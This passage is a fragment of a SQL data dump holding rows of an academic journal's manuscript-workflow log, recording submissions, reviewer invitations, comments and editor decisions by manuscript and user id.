Reviewer',9210,'Publisher',85),(87672,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87673,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87674,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87675,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87676,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87677,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87678,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87679,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87680,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87681,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87690,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9267,'Author',10216),(87716,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9235,'Publisher',274),(87717,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9235,'Publisher',274),(87718,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9235,'Publisher',274),(87719,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9235,'Publisher',274),(87720,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9235,'Publisher',274),(87737,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9276,'Publisher',274),(87738,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9277,'Publisher',274),(87740,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87741,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87742,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87745,'0000-00-00 00:00:00','Publisher : Notified Editor',8705,'Publisher',274),(87747,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8705,'Editor',1668),(87748,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8705,'Publisher',274),(87749,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8705,'Publisher',274),(87753,'0000-00-00 00:00:00','Publisher : Notified Editor',8885,'Publisher',274),(87754,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8885,'Editor',1663),(87755,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8885,'Publisher',274),(87756,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8885,'Publisher',274),(87758,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8885,'Publisher',274),(87759,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8595,'Publisher',85),(87760,'0000-00-00 00:00:00','Publisher : Notified Editor',8874,'Publisher',85),(87802,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9267,'Publisher',48),(87838,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9285,'Author',10233),(87840,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9286,'Author',10234),(87842,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(87929,'0000-00-00 00:00:00','Publisher : Notified Author',8837,'Publisher',274),(87930,'0000-00-00 00:00:00','Publisher : Notified Author',8707,'Publisher',274),(87931,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9235,'Publisher',274),(88000,'0000-00-00 00:00:00','Reviewer has submitted comments',9235,'Reviewer',12022),(88001,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88002,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88003,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88004,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88005,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88006,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88007,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88008,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88009,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88010,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88011,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88012,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9134,'Publisher',84),(88013,'0000-00-00 00:00:00','Reviewer has submitted comments',9134,'Reviewer',16023),(88014,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9134,'Editor',222),(88015,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8874,'Editor',1675),(88016,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(88017,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(88018,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(88019,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(88020,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8874,'Publisher',85),(88021,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9105,'Publisher',48),(88022,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9105,'Publisher',48),(88023,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9105,'Publisher',48),(88024,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9105,'Publisher',48),(88025,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9105,'Publisher',48),(88026,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8874,'Publisher',85),(88027,'0000-00-00 00:00:00','Publisher : Notified Editor',8873,'Publisher',85),(88033,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8873,'Editor',1291),(88034,'0000-00-00 00:00:00','Publisher : Notified Editor',9235,'Publisher',274),(88035,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9235,'Editor',1668),(88036,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9235,'Editor',1668),(88037,'0000-00-00 00:00:00','Publisher : Notified Author',9235,'Publisher',274),(88038,'0000-00-00 00:00:00','Publisher : Notified Author',8837,'Publisher',274),(88039,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9276,'Publisher',274),(88040,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9277,'Publisher',274),(88043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(88051,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9303,'Publisher',85),(88125,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9034,'Publisher',988),(88126,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9251,'Publisher',988),(88127,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(88128,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(88129,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(88130,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(88131,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(88132,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(88133,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(88134,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(88135,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(88136,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(88137,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9034,'Publisher',988),(88138,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9034,'Publisher',988),(88139,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9034,'Publisher',988),(88140,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9034,'Publisher',988),(88141,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9034,'Publisher',988),(88142,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9034,'Publisher',988),(88143,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9034,'Publisher',988),(88144,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9034,'Publisher',988),(88146,'0000-00-00 00:00:00','Reviewer has submitted comments',8953,'Reviewer',11689),(88148,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9276,'Publisher',274),(88149,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9276,'Publisher',274),(88150,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9276,'Publisher',274),(88151,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9276,'Publisher',274),(88152,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9277,'Publisher',274),(88153,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9277,'Publisher',274),(88154,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9277,'Publisher',274),(88155,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9277,'Publisher',274),(88156,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9277,'Publisher',274),(88158,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9286,'Publisher',319),(88184,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9318,'Author',10256),(88221,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9286,'Publisher',319),(88222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9286,'Publisher',319),(88223,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9286,'Publisher',319),(88224,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9286,'Publisher',319),(88225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9286,'Publisher',319),(88306,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9229,'Publisher',75),(88307,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9231,'Publisher',75),(88308,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9243,'Publisher',75),(88309,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9285,'Publisher',75),(88315,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8534,'Editor',1324),(88316,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8534,'Editor',1324),(88317,'0000-00-00 00:00:00','Reviewer has submitted comments',8534,'Reviewer',17212),(88318,'0000-00-00 00:00:00','Reviewer has submitted comments',8572,'Reviewer',17211),(88319,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8572,'Editor',1315),(88320,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8572,'Editor',1315),(88321,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8534,'Publisher',972),(88322,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8572,'Publisher',972),(88323,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9183,'Publisher',645),(88324,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8953,'Publisher',48),(88325,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9267,'Publisher',48),(88326,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9267,'Publisher',48),(88327,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9267,'Publisher',48),(88328,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9267,'Publisher',48),(88329,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9267,'Publisher',48),(88330,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9267,'Publisher',48),(88401,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(88402,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9331,'Author',10264),(88403,'0000-00-00 00:00:00','Manuscript Submitted by Author',9332,'Author',4635),(88404,'0000-00-00 00:00:00','Reviewer has updated comments',9276,'Reviewer',12022),(88405,'0000-00-00 00:00:00','Reviewer has updated comments',9276,'Reviewer',12022),(88406,'0000-00-00 00:00:00','Reviewer has updated comments',9276,'Reviewer',12022),(88408,'0000-00-00 00:00:00','Reviewer has updated comments',9276,'Reviewer',12022),(88409,'0000-00-00 00:00:00','Reviewer has updated comments',9276,'Reviewer',12022),(88410,'0000-00-00 00:00:00','Reviewer has updated comments',9276,'Reviewer',12022),(88411,'0000-00-00 00:00:00','Reviewer has updated comments',9276,'Reviewer',12022),(88412,'0000-00-00 00:00:00','Reviewer has updated comments',9276,'Reviewer',12022),(88413,'0000-00-00 00:00:00','Author sent Email',8917,'Author',9957),(88414,'0000-00-00 00:00:00','Reviewer has submitted comments',9286,'Reviewer',12875),(88417,'0000-00-00 00:00:00','Reviewer has submitted comments',8513,'Reviewer',15586),(88421,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',9172,'Reviewer',18593),(88449,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9303,'Publisher',85),(88450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88452,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88453,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88454,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88455,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88456,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88457,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88458,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88459,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88460,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88461,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88462,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88463,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88464,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88465,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88466,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88467,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(88468,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9013,'Editor',194),(88469,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9013,'Editor',194),(88470,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9105,'Editor',194),(88471,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9105,'Editor',194),(88472,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9112,'Editor',194),(88473,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9112,'Editor',194),(88474,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9169,'Editor',194),(88475,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9169,'Editor',194),(88476,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9160,'Editor',194),(88477,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9160,'Editor',194),(88478,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9068,'Publisher',48),(88487,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9013,'Publisher',48),(88488,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9013,'Publisher',48),(88489,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8902,'Publisher',48),(88490,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9286,'Editor',1069),(88491,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9286,'Editor',1069),(88492,'0000-00-00 00:00:00','Publisher : Notified Author',9286,'Publisher',319),(88511,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9343,'Author',10275),(88520,'0000-00-00 00:00:00','Reviewer has submitted comments',9013,'Reviewer',11689),(88560,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8169,'Publisher',984),(88576,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8766,'Publisher',48),(88624,'0000-00-00 00:00:00','Reviewer has submitted comments',8766,'Reviewer',11689),(88625,'0000-00-00 00:00:00','Reviewer has submitted comments',8766,'Reviewer',11689),(88627,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8766,'Publisher',48),(88657,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9318,'Publisher',75),(88659,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9331,'Publisher',48),(88660,'0000-00-00 00:00:00','Publisher : Notified Editor',8513,'Publisher',85),(88661,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8513,'Editor',1439),(88662,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8513,'Editor',1439),(88663,'0000-00-00 00:00:00','Publisher : Notified Author',8513,'Publisher',85),(88684,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9375,'Author',10286),(88689,'0000-00-00 00:00:00','Author sent Email',8513,'Author',9118),(88691,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9377,'Author',10288),(88694,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9381,'Author',10294),(88755,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(88756,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8999,'Publisher',248),(88757,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9022,'Publisher',248),(88810,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9394,'Author',10303),(88816,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9397,'Author',10306),(88833,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9398,'Publisher',48),(88887,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9375,'Publisher',48),(88888,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9331,'Publisher',48),(88889,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9331,'Publisher',48),(88890,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9331,'Publisher',48),(88893,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9331,'Publisher',48),(88895,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9331,'Publisher',48),(88896,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9331,'Publisher',48),(88898,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9375,'Publisher',48),(88899,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9375,'Publisher',48),(88900,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9375,'Publisher',48),(88901,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9375,'Publisher',48),(88907,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9105,'Publisher',48),(88908,'0000-00-00 00:00:00','Reviewer has submitted comments',9105,'Reviewer',11689),(88909,'0000-00-00 00:00:00','Reviewer has submitted comments',9105,'Reviewer',11689),(88910,'0000-00-00 00:00:00','Reviewer has submitted comments',9105,'Reviewer',11689),(88912,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8873,'Publisher',85),(88913,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8873,'Publisher',85),(88915,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8729,'Editor',162),(88916,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8729,'Publisher',75),(88917,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8150,'Editor',162),(88918,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8150,'Publisher',75),(88927,'0000-00-00 00:00:00','Manuscript Submitted by Author',9406,'Author',10315),(88985,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9377,'Publisher',75),(89005,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9408,'Publisher',988),(89006,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9409,'Publisher',988),(89012,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9410,'Publisher',988),(89013,'0000-00-00 00:00:00','Publisher : Notified Author',8513,'Publisher',85),(89015,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89016,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89017,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89018,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89019,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89029,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9411,'Publisher',988),(89043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89044,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89045,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89046,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89047,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89048,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89049,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89055,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9343,'Publisher',376),(89059,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9343,'Publisher',376),(89068,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9343,'Publisher',376),(89070,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(89071,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(89072,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(89073,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(89074,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(89120,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9419,'Publisher',645),(89122,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9420,'Publisher',645),(89124,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9421,'Publisher',645),(89125,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9422,'Publisher',645),(89135,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8911,'Publisher',248),(89136,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8911,'Publisher',248),(89137,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8911,'Publisher',248),(89138,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8911,'Publisher',248),(89139,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8911,'Publisher',248),(89140,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8911,'Publisher',248),(89141,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9081,'Publisher',248),(89142,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9081,'Publisher',248),(89143,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9081,'Publisher',248),(89144,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9081,'Publisher',248),(89145,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9081,'Publisher',248),(89146,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9081,'Publisher',248),(89147,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9081,'Publisher',248),(89148,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9081,'Publisher',248),(89166,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(89167,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9251,'Publisher',988),(89187,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9034,'Publisher',988),(89189,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9034,'Publisher',988),(89206,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(89207,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9112,'Editor',194),(89208,'0000-00-00 00:00:00','Reviewer has submitted comments',9112,'Reviewer',11689),(89222,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9343,'Publisher',376),(89228,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9112,'Publisher',48),(89245,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',9210,'Reviewer',18839),(89246,'0000-00-00 00:00:00','Reviewer has submitted comments',9171,'Reviewer',18593),(89247,'0000-00-00 00:00:00','Reviewer has updated comments',9172,'Reviewer',18593),(89248,'0000-00-00 00:00:00','Reviewer has updated comments',9172,'Reviewer',18593),(89249,'0000-00-00 00:00:00','Reviewer has updated comments',9172,'Reviewer',18593),(89250,'0000-00-00 00:00:00','Reviewer has updated comments',9172,'Reviewer',18593),(89251,'0000-00-00 00:00:00','Reviewer has updated comments',9172,'Reviewer',18593),(89252,'0000-00-00 00:00:00','Reviewer has updated comments',7063,'Reviewer',11355),(89261,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9436,'Publisher',645),(89266,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9398,'Publisher',48),(89267,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9394,'Publisher',48),(89295,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9397,'Publisher',984),(89296,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9397,'Publisher',984),(89297,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9397,'Publisher',984),(89300,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9332,'Publisher',274),(89301,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9332,'Publisher',274),(89302,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9332,'Publisher',274),(89303,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9340,'Publisher',274),(89304,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9332,'Publisher',274),(89310,'0000-00-00 00:00:00','Manuscript has been Revised',8707,'Author',9778),(89311,'0000-00-00 00:00:00','Manuscript has been Revised',8707,'Author',9778),(89312,'0000-00-00 00:00:00','Publisher : Notified Editor',8707,'Publisher',274),(89313,'0000-00-00 00:00:00','Publisher : Notified Editor',9276,'Publisher',274),(89314,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9276,'Editor',1668),(89315,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9276,'Editor',1668),(89317,'0000-00-00 00:00:00','Publisher : Notified Author',9276,'Publisher',274),(89318,'0000-00-00 00:00:00','Publisher : Notified Author',8837,'Publisher',274),(89319,'0000-00-00 00:00:00','Publisher : Notified Author',9235,'Publisher',274),(89320,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8707,'Editor',1594),(89321,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8707,'Publisher',274),(89322,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9277,'Publisher',274),(89324,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9332,'Publisher',274),(89330,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9381,'Publisher',85),(89331,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9444,'Publisher',376),(89332,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9381,'Publisher',85),(89333,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9406,'Publisher',376),(89346,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8158,'Editor',1664),(89348,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9332,'Editor',1664),(89349,'0000-00-00 00:00:00','Editor has Invited Reviewer',9332,'Editor',1664),(89350,'0000-00-00 00:00:00','Editor has Invited Reviewer',9332,'Editor',1664),(89351,'0000-00-00 00:00:00','Editor has Invited Reviewer',9332,'Editor',1664),(89352,'0000-00-00 00:00:00','Editor has Invited Reviewer',9332,'Editor',1664),(89353,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8159,'Editor',1664),(89354,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8159,'Editor',1664),(89358,'0000-00-00 00:00:00','Manuscript has been Revised',8513,'Author',9118),(89359,'0000-00-00 00:00:00','Publisher : Notified Editor',8513,'Publisher',85),(89360,'0000-00-00 00:00:00','Editor has Declined to review Manuscript',9381,'Editor',1675),(89368,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9398,'Editor',194),(89369,'0000-00-00 00:00:00','Editor has Invited Reviewer',9398,'Editor',194),(89370,'0000-00-00 00:00:00','Editor has Invited Reviewer',9398,'Editor',194),(89371,'0000-00-00 00:00:00','Editor has Invited Reviewer',9398,'Editor',194),(89372,'0000-00-00 00:00:00','Editor has Invited Reviewer',9398,'Editor',194),(89373,'0000-00-00 00:00:00','Editor has Invited Reviewer',9398,'Editor',194),(89374,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8513,'Editor',1439),(89378,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9451,'Publisher',248),(89379,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8513,'Publisher',85),(89380,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9452,'Publisher',248),(89386,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9394,'Editor',194),(89387,'0000-00-00 00:00:00','Editor has Invited Reviewer',9394,'Editor',194),(89388,'0000-00-00 00:00:00','Editor has Invited Reviewer',9394,'Editor',194),(89389,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9331,'Editor',194),(89390,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9331,'Editor',194),(89391,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to 